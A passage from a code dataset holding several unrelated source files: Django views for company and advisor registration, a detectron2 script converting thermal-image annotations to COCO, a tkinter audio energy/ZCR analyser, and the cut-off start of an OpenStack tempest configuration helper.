  )\n        return render(request, 'company/add_affiliate.html', locals())\n\ndef add_affiliate(request):\n    '''\n    Descrption: Navigating to Company Registraion Form.\n    '''\n    PAGE_TITLE = 'Add Affiliate'\n    logger.info(\n        logme(\"company user redirected to company registration page\",request)\n    )\n    return render(request, 'company/add_affiliate.html', locals())\n\ndef my_company_track(request):\n    '''\n    Descrption:Navigating to Company Profile(Track) Page.\n    '''\n    PAGE_TITLE = 'My Company Track'\n    company_logo_url = ''\n    awards_or_rewards = ''\n    company_ob = AffiliatedCompany.objects.get(user_profile = request.user.profile)\n    company_logo = UploadDocuments.objects.filter(\n        documents_type = 'company_logo',\n        user_profile = request.user.profile\n    )\n    if company_logo:\n        company_logo_url = company_logo[0].documents.url\n    if company_ob.awards_or_rewards:\n        awards_or_rewards = json.loads(company_ob.awards_or_rewards)\n    logger.info(\n        logme(\"navigated to company my track page\",request)\n    )\n    return render(request, 'company/my_company_track.html', locals())\n\ndef employees_details(request):\n    '''\n    Descrption:Sending Advisor List from Respected Company.\n    '''\n    PAGE_TITLE = 'Advisor Details'\n    user = request.user\n    user_profile = user.profile\n    company_obj = AffiliatedCompany.objects.get(user_profile = user_profile)\n    domain = company_obj.domain_name\n    if domain:\n        domain = '.'+domain\n        company_users = UserProfile.objects.filter(advisor__questions__contains = domain)\n        for profile in company_users:\n            affiliate_company_child,status = CompanyAdvisorMapping.objects.get_or_create(\n                advisor_user_profile = profile,\n                company_user_profile = user_profile\n            )\n            if status:\n                affiliate_company_child.status = constants.NOT_APPROVED\n                affiliate_company_child.save()\n    company_advisor_profile = CompanyAdvisorMapping.objects.filter(\n        company_user_profile = user_profile\n    )\n    approved_advisors_count = company_advisor_profile.filter(\n        status = constants.APPROVED\n    ).count()\n    not_approved_advisors_count = company_advisor_profile.filter(\n        status = constants.NOT_APPROVED\n    ).count()\n    disown_advisor_count = company_advisor_profile.filter(\n        status = constants.DIS_OWN\n    ).count()\n    logger.info(\n        logme(\"listed company advisors from respective companies\", request)\n    )\n    return render(request, 'company/employees_details.html', locals())\n\ndef save_add_affiliate_form(request):\n    '''\n    Descrption:Saving Regsitraion form and Generating credentials to particular Company.\n    '''\n    if request.method == 'POST':\n        user = request.session.get('user')\n        user_obj = User.objects.get(username = user)\n        old_email_id = user_obj.username\n        point_of_contact_email = request.POST.get('point_of_contact_email_id', None)\n        company_name = request.POST.get('company_name', None)\n        if point_of_contact_email:\n            user_obj.username = point_of_contact_email\n            user_obj.email = point_of_contact_email\n            user_password = get_random_string(length=8)\n            user_obj.set_password(user_password)\n            user_obj.first_name = request.POST.get('point_of_contact_name', None)\n            user_obj.save()\n            user_profile = UserProfile.objects.filter(user = user_obj)\n            if user_profile:\n                user_profile = user_profile.first()\n                user_profile.address = request.POST.get('re_office_address', None)\n                user_profile.first_name = request.POST.get('point_of_contact_name', None)\n                user_profile.email = point_of_contact_email\n                user_profile.mobile = request.POST.get(\n                    'point_of_contact_phone_number', None)\n                user_profile.facebook_media = request.POST.get('facebook_media', None)\n                user_profile.google_media = request.POST.get('google_media', None)\n                user_profile.linkedin_media = request.POST.get('linkedin_media', None)\n                user_profile.twitter_media = request.POST.get('twitter_media', None)\n                user_profile.company_name = company_name\n                user_profile.is_company = True\n                user_profile.save()\n                company_obj,created = AffiliatedCompany.objects.get_or_create(\n                    user_profile = user_profile)\n                company_obj.company_name = company_name\n                address_json = {\n                    'corporate_office': request.POST.get('co_office_address', ''),\n                    'registration_office': request.POST.get('re_office_address', '')\n                }\n                company_obj.address = json.dumps(address_json)\n                company_obj.tagline = request.POST.get('company_tagline', None)\n                company_obj.website_url = request.POST.get('company_url', None)\n                company_obj.objective = request.POST.get('company_objective', None)\n                company_obj.description = request.POST.get('company_description', None)\n                company_obj.awards_or_rewards = request.POST.get(\n                    'all_awards_and_rewards', None)\n                company_obj.corprate_identity_no = request.POST.get('cin_no', None)\n                company_obj.number_client = request.POST.get('no_of_clients', None)\n                company_obj.number_of_employee = request.POST.get('no_of_employees', None)\n                if request.POST['terms_and_conditions']:\n                    company_obj.terms_and_conditions = True\n                upload_documents, status = UploadDocuments.objects.get_or_create(\n                    documents_type = 'company_logo',\n                    user_profile = user_profile\n                )\n                upload_documents.documents = request.FILES['company_logo']\n                company_obj.logo = upload_documents.documents\n                upload_documents.save()\n                company_obj.save()\n                upload_document_e_brochure, is_created = UploadDocuments.objects.get_or_create(\n                    documents_type = 'e_brochure',\n                    user_profile = user_profile\n                )\n                upload_document_e_brochure.documents = request.FILES['company_e_brochure']\n                upload_document_e_brochure.save()\n                domain = company_obj.domain_name\n                if domain:\n                    domain = '.'+domain\n                    company_users = UserProfile.objects.filter(\n                        advisor__questions__contains = domain)\n                    for profile in company_users:\n                        affiliate_company_child,status = CompanyAdvisorMapping.objects.get_or_create(\n                            advisor_user_profile = profile,\n                            company_user_profile = user_profile\n                            )\n                        if status:\n                            affiliate_company_child.status = constants.NOT_APPROVED\n                            affiliate_company_child.save()\n                activation_key = request.POST['activation_key']\n                verification = EmailVerification.objects.get(activation_key=activation_key)\n                verification.delete()\n                context_dict = {\n                    'affiliate_name': user_profile.first_name,\n                    'username': user_profile.email,\n                    'url':NEXT_URL_LINK,\n                    'password': user_password\n                }\n                send_mandrill_email('REIA_19_03', [user_profile.email], context=context_dict)\n                # need to send emails using cron(this is for next release)\n                # send_mandrill_email('REIA_19_04', [user_profile.email], context={'affiliate_name':user_profile.first_name,'company_name':company_name})\n                logger.info(\n                    logme(\"registration form data saved & generated credentials for\\\n                     company, mail sent \", request)\n                )\n                return HttpResponseRedirect('/')\n            else:\n                logger.error(\n                logme(\"unable to register company, company userprofile not found\", request)\n                )\n                return HttpResponse('Unable to create Your company. Please try again \\\n                    after some time')\n        else:\n            logger.error(\n                logme(\"unable to register company, company email not found\", request)\n            )\n            return HttpResponse('Error')\n    else:\n        return HttpResponse('Access forbidden')\n\n\ndef fetch_advisor_details(request):\n    '''\n    Descrption:Sending advisor information.\n    '''\n    if request.method == 'POST':\n        index = 0\n        user_profile = UserProfile.objects.filter(id = request.POST['id'])\n        if user_profile:\n            user_profile = user_profile.first()\n            advisor = Advisor.objects.filter(user_profile = user_profile)\n            if advisor:\n                advisor = advisor.first()\n                advisor_company_email = ''\n                result = constants.DETAILS_NOT_FOUND\n                if advisor.questions:\n                    question  = json.loads(advisor.questions)\n                    for i in question[2]['Remark'][0]['Remark']:\n                        index +=1\n                        if request.POST['domain'] in i['Answer']:\n                            advisor_company_email = i['Answer']\n                            result = constants.DETAILS_FOUND\n                            registration_no=question[2]['Remark'][0]['Remark'][index]['Answer']\n                    response = {\n                        'status':result,\n                        'advisor_company_email' : advisor_company_email,\n                        'advisor_company_registration':registration_no,\n                        'profile_pic' : user_profile.picture.url if user_profile.picture else None\n                    }\n            else:\n                response = { 'status':constants.DETAILS_NOT_FOUND }\n                logger.info(\n                    logme(\"advisors not found for company\",request)\n                )\n        else:\n            logger.info(\n                logme(\"advisor not found for company\",request)\n            )\n            response = { 'status':constants.DETAILS_NOT_FOUND }\n        logger.info(\n            logme(\"fetching advisor details for company\",request)\n        )\n        return JsonResponse(response)\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden to fetch advisors\", request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef update_company_details(request):\n    '''\n    Descrption:Updating Company Profile(Track) information.\n    '''\n    if request.method == 'POST':\n        user = request.user\n        user_profile = user.profile\n        company_obj = AffiliatedCompany.objects.filter(user_profile = user_profile).first()\n        if company_obj:\n            company_obj.company_name = request.POST['company_name']\n            company_obj.tagline = request.POST['company_tagline']\n            company_obj.website_url = request.POST['company_url']\n            company_obj.objective = request.POST['company_objective']\n            company_obj.description = request.POST['company_description']\n            company_obj.awards_or_rewards = request.POST['all_awards_and_rewards']\n            company_obj.save()\n            user_profile.street_name = request.POST['company_address']\n            user_profile.address = request.POST['address_line_2']\n            user_profile.locality = request.POST['location']\n            user_profile.city = request.POST['city']\n            user_profile.state = request.POST['state']\n            user_profile.first_name = request.POST['point_of_contact_name']\n            user_profile.mobile = request.POST['point_of_contact_phone_number']\n            user_profile.facebook_media = request.POST['facebook_media']\n            user_profile.google_media = request.POST['google_media']\n            user_profile.linkedin_media = request.POST['linkedin_media']\n            user_profile.twitter_media = request.POST['twitter_media']\n            user_profile.company_name = request.POST['company_name']\n            user_profile.save()\n            user.first_name = request.POST['point_of_contact_name']\n            user.save()\n            logger.info(\n                logme(\"updated company profile information\",request)\n            )\n            return HttpResponse('success')\n        else:\n            logger.info(\n                logme(\"updating company profile information failed\",request)\n            )\n            return HttpResponse('failed')\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden to update company information\",request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef check_email_exist_or_not(request):\n    '''\n    Checking Email is exists or not\n    '''\n    if request.method == 'POST':\n        if request.POST['value'] == 'company_reg':\n            user = request.session.get('user')\n            user = User.objects.get(username = user)\n            username = request.POST['username']\n            if not username == user.username:\n                user_obj = User.objects.filter(username = username)\n                if user_obj:\n                    logger.info(\n                        logme(\"validation - email exist for creating company\", request)\n                    )\n                    return HttpResponse('exist')\n                else:\n                    logger.info(\n                        logme(\"validation - email does not exist for creating company\", request)\n                    )\n                    return HttpResponse('new_user')\n            else:\n                logger.info(\n                    logme(\"validation - email does not exist for creating company\", request)\n                )\n                return HttpResponse('user_email')\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden for checking email validation for \\\n                creating company\", request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef update_affiliate_company_status(request):\n    '''\n    Description:Company Can Approve the Advisors who all are under comming him.\n        (company will check advisors company email id is correct or not)\n    '''\n    if request.method == 'POST':\n        user_profile_id = request.POST['id']\n        user_profile = UserProfile.objects.filter(id = user_profile_id)\n        affiliated_company_status = CompanyAdvisorMapping.objects.filter(\n            company_user_profile = request.user.profile,\n            advisor_user_profile_id = user_profile_id\n        )\n        company = AffiliatedCompany.objects.filter(user_profile= request.user.profile)\n        if affiliated_company_status:\n            if (request.POST['status'] == constants.DIS_OWN \n                or request.POST['status'] == constants.NOT_APPROVED):\n                affiliated_company_status[0].status =constants.APPROVED\n                logger.info(\n                    logme(\"advisor approved/owned by company\", request)\n                )\n                if request.POST['status'] == constants.DIS_OWN:\n                    affiliated_company_status[0].remarks = request.POST['feedback']\n                affiliated_company_status[0].save()\n                try:\n                    send_mandrill_email(\n                        'REIA_19_06', \n                        [user_profile[0].email], \n                        context={'advisor_name':user_profile[0].first_name}\n                    )\n                    logger.info(\n                        logme(\"sent mail after advisor approval/owning by company\",request)\n                    )\n                except:\n                    logger.error(\n                        logme(\"failed to send mail after advisor approval by company\", \n                            request)\n                    )\n                    return HttpResponse('mailfailed')\n            if request.POST['status'] == constants.APPROVED:\n                logger.info(\n                    logme(\"advisor disowned by company\", request)\n                )\n                affiliated_company_status[0].status = constants.DIS_OWN\n                affiliated_company_status[0].remarks = request.POST['feedback']\n                affiliated_company_status[0].save()\n                try:\n                    send_mandrill_email(\n                        'REIA_19_07', \n                        [user_profile[0].email], \n                        context={\n                            'advisor_name':user_profile[0].first_name,\n                            'company_name':company[0].company_name\n                        }\n                    )\n                    logger.info(\n                        logme(\"sent mail after advisor disowned by company\",request)\n                    )\n                except:\n                    logger.error(\n                        logme(\"failed to send mail after advisor disowned by company\",request)\n                    )\n                    return HttpResponse('mailfailed')\n        return HttpResponse('success')\n\n\ndef why_we_are_asking(request):\n    '''\n    Navigating to why_we_are_asking html \n    '''\n    logger.info(\n        logme(\"redirected to company why we are asking page\", request)\n    )\n    return render(request, 'company/why_we_are_asking.html',locals())\n\n\ndef confidence_assurance(request):\n    '''\n    Navigating to confidence_assurance html \n    '''\n    logger.info(\n        logme(\"redirected to company confidence assurance page\", request)\n    )\n    return render(request, 'company/confidence_assurance.html',locals())\n\n\ndef change_password(request):\n    '''\n    Navigating to changepassword html\n    '''\n    PAGE_TITLE = 'Change Password'\n    context = RequestContext(request)\n    logger.info(\n        logme(\"redirected to change Password page\",request)\n    )\n    return render_to_response(\"company/changepassword.html\",context)\n\n\ndef get_in_touch(request):\n    '''\n    Navigating company get_in_touch html\n    '''\n    PAGE_TITLE = 'Get in touch'\n    context = RequestContext(request)\n    hide_signup_popup=1\n    logger.info(\n        logme(\"redirected to company get in touch page\",request)\n    )\n    return render_to_response(\"company/get_in_touch.html\",context)\n\n\ndef get_not_approved_advsors_list(request):\n    '''\n    Fetching not_approved advisors list under company.\n    '''\n    if request.method == 'POST':\n        not_approved_list = CompanyAdvisorMapping.objects.filter(\\\n            company_user_profile = request.user.profile,\n            status = constants.NOT_APPROVED\n            )\n        logger.info(\n            logme(\"fetching not approved advisors list under company\",request)\n        )\n        return render(request, 'company/not_approved_advisors.html', locals())\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden for fetching not approved advisors list\\\n             under company\",request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef get_approved_advisor_list(request):\n    '''\n    Fetching approved advisors list under company\n    '''\n    if request.method == 'POST':\n        approved_list = CompanyAdvisorMapping.objects.filter(\n            company_user_profile = request.user.profile,\n            status = constants.APPROVED\n            )\n        logger.info(\n            logme(\"fetching approved advsiors list under company\", request)\n        )\n        return render(request, 'company/approved_advisors.html', locals())\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden for fetching approved advsiors list \\\n            under company\", request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef get_disown_advisors_list(request):\n    '''\n    Fetching disown advisors list under company\n    '''\n    if request.method == 'POST':\n        disown_list = CompanyAdvisorMapping.objects.filter(\n            company_user_profile = request.user.profile,\n            status = constants.DIS_OWN\n            )\n        logger.info(\n            logme(\"fetching disowned advisors list under company\", request)\n        )\n        return render(request, 'company/disown_advisor.html', locals())\n    else:\n        logger.info(\n            logme(\"GET request - access forbidden for fetching disowned advisors list \\\n            under company\",request)\n        )\n        return HttpResponse('Access forbidden')\n\n\ndef upload_advisors_data(request):\n    '''\n    Upload Advisors data in excel format\n    Used by the company user\n    '''\n    user_profile=request.user.profile\n    file_to_upload = request.FILES['documents_advisor_list']\n    documents_new_upload = UploadDocuments.objects.create(\n            user_profile=user_profile\n        )\n    documents_new_upload.documents = request.FILES['documents_advisor_list']\n    documents_new_upload.documents_type = 'advisor_data_excel'\n    documents_new_upload.save()\n    document_url = str(documents_new_upload.documents)\n    if document_url:\n        if user_profile:\n            filename = 'temp_bulk_advisor_data_{}.xlsx'.format(randint(0,100000))\n            if not Path(filename).is_file():\n                file_open=default_storage.open(document_url,'r')\n                with open(filename, \"wb\") as fh:\n                    fh.write(file_open.read())\n                    fh.close()\n                advisor_data = pd.read_excel(str(filename))\n                serializer = BulkAdvisorDataSerializer(advisor_data)\n                os.remove(filename)\n                bulk_advisor_data_creation.apply_async((serializer.data, user_profile.id,))\n        else:\n            message=\"user_profile not found\"\n        message = \"success\"\n    else:\n        message = \"Please try again later!!\"\n    return HttpResponseRedirect(\"/company/my_company_track/\")\n","repo_name":"venki208/abotmi","sub_path":"abotmi/company/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19202539256","text":"import json\nimport torch\nfrom pathlib import Path\nimport click\nimport logging\nimport sys\n\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\nfrom detectron2.data.datasets.coco import convert_to_coco_json\nfrom detectron2.structures import BoxMode\n\n\n# Specify the category_id to match with the class.\nlabels = {\n    'Generic Building Component': ['Surface', 'Junction', 'Window', 'Cantilever', 'Technique'],\n}\n\n\n_logger = logging.getLogger(__name__)\n\n\n@click.command()\n@click.option('-j', 'json_dir', required=True,\n              type=click.Path(exists=True), help='Dir containing JSON annotation files to merge and convert into COCO, only those with a matching image subdir will be used.')\n@click.option('-i', '--images', 'img_dir', required=True,\n              type=click.Path(exists=True), help='Directory containing image_subdirs, must be named XXX for each JSON file XXX_json.json')\n# @click.option('-l', '--label', 'label', required=True,\n#               type=click.Path(exists=True), help='Directory containing Depth images')\n@click.option('-o', '--output', 'output_filename', required=True,\n              type=click.Path(), help='Output COCO annotations filename')\n@click.option('-f', '--force', 'force', is_flag=True)\n@click.option('--quiet', 'log_level', flag_value=logging.WARNING, default=True)\n@click.option('-v', '--verbose', 'log_level', flag_value=logging.INFO)\n@click.option('-vv', '--very-verbose', 'log_level', flag_value=logging.DEBUG)\ndef main(\n    json_dir: Path,\n    img_dir: Path,\n    output_filename: Path,\n    force: bool,\n    log_level: int,\n):\n    logging.basicConfig(stream=sys.stdout,\n                        level=log_level,\n                        datefmt='%Y-%m-%d %H:%M',\n                        format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n    DatasetCatalog.register(\n        'thermals',\n        lambda: get_all_flights(Path(img_dir), Path(json_dir)),\n    )\n\n    # Leaving commented out, can specify which label to use\n    # Leaving it as one class for now\n    # if args.label:\n    #     MetadataCatalog.get('thermals').thing_classes = labels[args.label]\n    # else:\n    MetadataCatalog.get('thermals').thing_classes = ['Thermal bridge']\n\n    _logger.info('All JSON files loaded, converting to COCO JSON')\n\n    convert_to_coco_json('thermals', str(output_filename), allow_cached=(not force))\n\n    return\n\n\ndef get_all_flights(img_dir: Path, json_dir: Path) -> list:\n    ''' path is train or test directory '''\n    dataset_dicts = []\n    # Step through all directories in path\n    for flight in img_dir.glob('*'):\n        # Skip direct files\n        if flight.is_file():\n            _logger.info(f'File {flight} is not a directory, skipping...')\n            continue\n\n        _logger.info(f'Loading {flight}')\n\n        flight_dicts = get_thermal_dicts(\n            json_path=json_dir / f'{flight.stem}_json.json',\n            img_path=flight,\n            starting_image_id=len(dataset_dicts),\n        )\n        dataset_dicts.extend(flight_dicts)\n        _logger.debug(\"Flight successfully added\")\n\n    return dataset_dicts\n\n\ndef get_thermal_dicts(json_path: Path, img_path: Path, label=None, starting_image_id=0):\n    ''' This function loads the JSON file created with the VGG annotator and returns the annotations within.\n\n    Args\n    ----\n    json_path: str or Path object\n        Location of JSON annotations file to load\n    img_path: str or Path object\n        Directory containing corresponding images\n    label: str\n        Name of the annotation label to use\n    verbose: bool, optional\n        Whether to print cropped annotation warnings\n\n    Returns\n    ----\n    dict: Dictionary containing file annotations in form {filename: [{bbox: tensor(N, 4), segmentation: [[]], category_id: tensor(N)}]}\n    '''\n\n    # Load the JSON file\n    with open(json_path) as f:\n        imgs_anns = json.load(f)\n    _logger.info(f\"JSON file {json_path} successfully loaded\")\n\n    dataset_dicts = []\n    skipped = 0\n    # loop through the entries in the JSON file\n    for idx, v in enumerate(imgs_anns.values()):\n        record = {}\n        # add file_name, image_id, height and width information to the records\n        # NOTE: We drop the extension since it varies between annotations (jpg) and images (npy)\n        filename = Path(v['filename']).stem\n        filename = img_path / f'{filename}.npy'\n\n        x = 300\n        y = 150\n        h = 2680\n        w = 3370\n\n        # Check the image actually exists\n        if not filename.exists():\n            _logger.info(f'Image file missing, skipping: {filename}')\n            skipped += 1\n            continue\n\n        record[\"file_name\"] = str(Path(*filename.parts[-2:]))\n        record[\"image_id\"] = starting_image_id + idx\n        record[\"height\"] = h\n        record[\"width\"] = w\n\n        regions = v[\"regions\"]\n\n        objs = []\n        # One image can have multiple annotations, therefore this loop is needed\n        for region in regions:\n            # reformat the polygon information to fit the specifications\n            anno = region['shape_attributes']\n            # Need to handle each shape differently\n            if anno['name'] == 'rect':\n                # Coords are top left corner of rectangle\n                x = anno['x']\n                y = anno['y']\n                w = anno['width']\n                h = anno['height']\n                px = [x, x + w, x + w, x]\n                py = [y, y, y - h, y - h]\n            elif anno['name'] == 'polyline':\n                px = anno[\"all_points_x\"]\n                py = anno[\"all_points_y\"]\n            else:\n                raise KeyError(f'Annotation shape {anno[\"name\"]} not supported')\n\n            poly = torch.ones((3, 1, len(px)))\n            poly[0] = torch.tensor(px)\n            poly[1] = torch.tensor(py)\n            # Perform the crop on polygon coordinates and shift\n            # With transform before clamp\n            poly[0] = torch.clamp(poly[0] - x, 0, w)\n            poly[1] = torch.clamp(poly[1] - y, 0, h)\n\n            segmentation = poly[:2].T.reshape(-1)  # Now it's (x1, y1, x2, y2, ...)\n\n            # Before saving the region we need to drop it if it's been cropped out\n            # If it has it will have zero size in at least on dimension of the bounding box\n            bbox = torch.tensor([poly[0].min(), poly[1].min(), poly[0].max(), poly[1].max()], dtype=torch.float)\n            if (bbox[0] == bbox[2]) or (bbox[1] == bbox[3]) or (poly.shape[-1] == 0):\n                continue\n\n            if label is not None:\n                region_attribute = region['region_attributes'][label]\n\n                # NOTE: The background is considered index of num_classes, no one will tell you this great secret...\n                category_id = labels[label].index(region_attribute)\n            else:\n                # This is a case for just one label\n                category_id = 0\n\n            obj = {\n                \"bbox\": bbox.tolist(),\n                \"bbox_mode\": BoxMode.XYXY_ABS,\n                \"segmentation\": [segmentation.tolist()],\n                \"category_id\": category_id,\n                # \"iscrowd\": 0,\n            }\n            objs.append(obj)\n\n        _logger.debug(f\"All image objects registered and cropped: {objs}\")\n\n        # Also final check that there are any annotations left after cropping\n        if len(objs) == 0:\n            _logger.info(f'All annotations were cropped, skipping image {filename}')\n            skipped += 1\n            continue\n\n        record[\"annotations\"] = objs\n        dataset_dicts.append(record)\n\n    _logger.info(f'Skipped {skipped}/{len(imgs_anns)} files in directory {img_path}')\n    return dataset_dicts\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Helmholtz-AI-Energy/TBBRDet","sub_path":"scripts/utils/convert_json_to_coco.py","file_name":"convert_json_to_coco.py","file_ext":"py","file_size_in_byte":7698,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"}
{"seq_id":"25620467623","text":"\n\"\"\" \nPip install everything for any doubt visit pypi\nURL : https://pypi.org/project/\n\"\"\"\n\nfrom tkinter import *\nfrom tkinter.filedialog import askopenfilename\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nimport wavio\nimport sounddevice as sd\nimport sounddevice as sd\nfrom matplotlib import pyplot as plt\nfrom PIL import Image\nfrom PIL import ImageTk\nimport cv2\nfrom math import floor\nimport numpy as np\nimport os\n\n#Reading an audio file\ndef start():\n    global source\n    global source1\n    global pannelA\n    global y1\n    global y2\n    global x1\n    global panel\n    source=askopenfilename(filetypes=((\"wav file\",\"*.wav\"),(\"mp3 file\",\"*.mp3\")))\n    if(source.endswith(\".mp3\")):\n        sound=AudioSegment.from_mp3(source)\n        source=source.replace(\".mp3\",\".wav\")         \n        sound.export(source,format=\"wav\")            \n    y=wavio.read(source)\n    y11=[i[0] for i in y.data]\n    z=max(y11)\n    y1=[i/z for i in y11]\n    y2=y.rate\n    x1=[i/y.rate for i in range(0,len(y1))]\n    plt.cla()\n    plt.title(\"Original Signal (\"+str(y.rate)+\"Hz, Maximum Amplitude:\"+str(z)+\")\")\n    plt.xlabel(\"Time in Seconds\")\n    plt.ylabel(\"Amplitude\")\n    plt.plot(x1,y1)\n    source1=source.replace(\".wav\",\".png\")\n    plt.savefig(source1)\n    image=ImageTk.PhotoImage(Image.open(source1))\n    if(pannelA==False):\n        panel = Label(image=image)\n        panel.image = image\n        panel.pack(padx=20, pady=30)\n        pannelA=True\n    else:\n        panel.configure(image=image)\n        panel.image = image\n        panel.pack(padx=20, pady=30)\n     \n# Recording audio\ndef record():\n    global source\n    global source1\n    global pannelA\n    global y1\n    global y2\n    global x1\n    global panel\n    store=sd.rec((8000*5),samplerate=8000,channels=1)\n    sd.wait()\n    source=os.getcwd()+\"/record.wav\"\n    wavio.write(source,store,8000,sampwidth=2)\n    y=wavio.read(source)\n    y11=[i[0]for i in y.data]\n    z=max(y11)\n    y1=[i/z for i in y11]\n    y2=y.rate\n    x1=[i/y.rate for i in range(0,len(y1))]\n    plt.cla()\n    plt.title(\"Original Signal (\"+str(y.rate)+\"Hz, Maximum Amplitude:\"+str(z)+\")\")\n    plt.xlabel(\"Time in Seconds\")\n    plt.ylabel(\"Amplitude\")\n    plt.plot(x1,y1)\n    source1=source.replace(\".wav\",\".png\")\n    plt.savefig(source1)\n    image=ImageTk.PhotoImage(Image.open(source1))\n    if(pannelA==False):\n        panel = Label(image=image)\n        panel.image = image\n        panel.pack(padx=20, pady=30)\n        pannelA=True\n    else:\n        panel.configure(image=image)\n        panel.image = image\n        panel.pack(padx=20, pady=30)\n        \n# Playing .wav file\n\ndef Play():\n    sound=AudioSegment.from_wav(source)\n    play(sound)\n    \n# Computing energy for each 20 msec of audio/speech frame.\n\ndef energy():\n    ns=floor(y2/1000*20)\n    x3=[i for i in range(0,floor(len(y1)/ns))]\n    y3=[]\n    total=0\n    for i in range(1,len(y1)+1):\n        if(i%ns==0):\n            y3.append(total/ns)\n            total=0\n        else:\n            total+=(y1[i-1])**2\n    plt.cla()\n    plt.title(\"Energy (Frame Size= 20ms )\")\n    plt.xlabel(\"Frame number\")\n    plt.ylabel(\"Energy\")\n    plt.plot(x3,y3)\n    source2=source1.replace(\".png\",\".jpg\")\n    plt.savefig(source2)\n    image=ImageTk.PhotoImage(Image.open(source2))\n    panel.configure(image=image)\n    panel.image = image\n    panel.pack(padx=20, pady=30)\n    \n# Computing zero-crossing rate (ZCR) for each 20 msec of audio/speech frame.\n\ndef zcr():\n    ns=floor(y2/1000*20)\n    x3=[i for i in range(0,floor(len(y1)/ns))]\n    y3=[]\n    count=0\n    for i in range(1,len(y1)+1):\n        if(i%ns==0):\n            y3.append(count/(2*ns)) \n            count=0\n        else:\n            if(i!=len(y1)):\n                count+=abs((np.sign(y1[i-1])-np.sign(y1[i])))\n    plt.cla()\n    plt.title(\"ZCR (Frame Size= 20ms )\")\n    plt.xlabel(\"Frame number\")\n    plt.ylabel(\"ZCR\")\n    plt.plot(x3,y3)\n    source3=source1.replace(\".png\",\".jpeg\")\n    plt.savefig(source3)\n    image=ImageTk.PhotoImage(Image.open(source3))\n    panel.configure(image=image)\n    panel.image = image\n    panel.pack(padx=20, pady=30)\n    plt.cla()\n    \n    \n# Main Block\nif __name__ == \"__main__\":\n    root=Tk()\n    pannelA=False\n    root.geometry('600x500')\n    root.title(\"AUDIO SIGNAL PROCESSING (ENERGY and ZERO CROSSING RATE)\")\n    fm = Frame(root, width=300, height=50)\n    fm.pack(side=BOTTOM, expand=NO, fill=NONE)\n    btn = Button(root, text=\"Select the file (.wav/.mp3)\",font=(\"callibri\",10,\"bold\"), command=start)\n    btn.pack(side=\"top\",pady=10)\n    btn5 = Button(fm, text=\"Record (5sec)\", command=record,font=(\"callibri\",10,\"bold\"),height=2, width=10)\n    btn5.pack(side=LEFT, padx=10, pady=20)\n    btn2 = Button(fm, text=\"Play\", command=Play,font=(\"callibri\",10,\"bold\"),height=2, width=10)\n    btn2.pack(side=LEFT, padx=10, pady=20)\n    btn3 = Button(fm, text=\"Energy\", command=energy,font=(\"callibri\",10,\"bold\"),height=2, width=10)\n    btn3.pack(side=LEFT, padx=10, pady=20)\n    btn4 = Button(fm, text=\"ZCR\", command=zcr,font=(\"callibri\",10,\"bold\"),height=2, width=10)\n    btn4.pack(side=LEFT, padx=10, pady=20)\n    root.mainloop()\n","repo_name":"YughendaranPalanivel/speech-processing-using-python","sub_path":"speech-energy-ZCR.py","file_name":"speech-energy-ZCR.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"30182075531","text":"import ConfigParser\nimport os\n\nimport init_vio_env as vio_env\nfrom itempest.lib import utils\n\nDEFAULT_IMAGE_NAME = os.environ.get('OS_IMAGE_NAME',\n                                    'cirros-0.3.3-x86_64-disk')\nDEFAULT_IMAGE_FILE = os.environ.get(\n    'OS_IMAGE_FILE',\n    '/home/stack/images/cirros-0.3.3-x86_64-disk.vmdk')\nDEFAULT_PUBLIC_NETWORK_NAME = os.environ.get(\n    'OS_PUBLIC_NETWORK_NAME', 'public')\nos_auth_url = os.environ.get('OS_AUTH_URL', None)\nos_username = os.environ.get('OS_USERNAME', 'demo')\nos_password = os.environ.get('OS_PASSWORD', 'itempest8@OS')\nos_tenant_name = os.environ.get('OS_TENANT_NAME', os_username)\n\n\n# env_id is the var defining howto create subnet\n# it is defined at vio_env module. Example:\n# update_conf_by_id('VIO1')\ndef update_conf_by_id(env_id, cli_mgr=None, **kwargs):\n    net_conf = getattr(vio_env, env_id)\n    cli_mgr = cli_mgr if cli_mgr else get_mimic_manager_cli()\n    return update_tempest_conf(cli_mgr, net_conf, **kwargs)\n\n\ndef update_vio1_tempest_conf(cli_mgr, tempest_conf=None,\n                             net_conf=None, img_name=None, **kwargs):\n    public_net_dict = net_conf if net_conf else vio_env.VIO1\n    return update_tempest_conf(cli_mgr, public_net_dict,\n                               tempest_conf=tempest_conf, img_name=img_name,\n                               **kwargs)\n\n\ndef update_vio2_tempest_conf(cli_mgr, tempest_conf=None,\n                             net_conf=None, img_name=None, **kwargs):\n    public_net_dict = net_conf if net_conf else vio_env.VIO2\n    return update_tempest_conf(cli_mgr, public_net_dict,\n                               tempest_conf=tempest_conf, img_name=img_name,\n                               **kwargs)\n\n\ndef update_vio3_tempest_conf(cli_mgr, tempest_conf=None,\n                             net_conf=None, img_name=None, **kwargs):\n    public_net_dict = net_conf if net_conf else vio_env.VIO3\n    return update_tempest_conf(cli_mgr, public_net_dict,\n                               tempest_conf=tempest_conf, img_name=img_name,\n                               **kwargs)\n\n\n# cli_mgr needs to have admin privilege\ndef update_devstack_tempest_conf(cli_mgr, **kwargs):\n    img_name = kwargs.pop('image_name', None)\n    tempest_conf = get_tempest_conf()\n    xnet = cli_mgr.qsvc('net-external-list')[0]\n    snet = cli_mgr.qsvc('subnet-show', xnet['subnets'][0])\n    public_net_dict = dict(\n        gateway=snet['gateway_ip'],\n        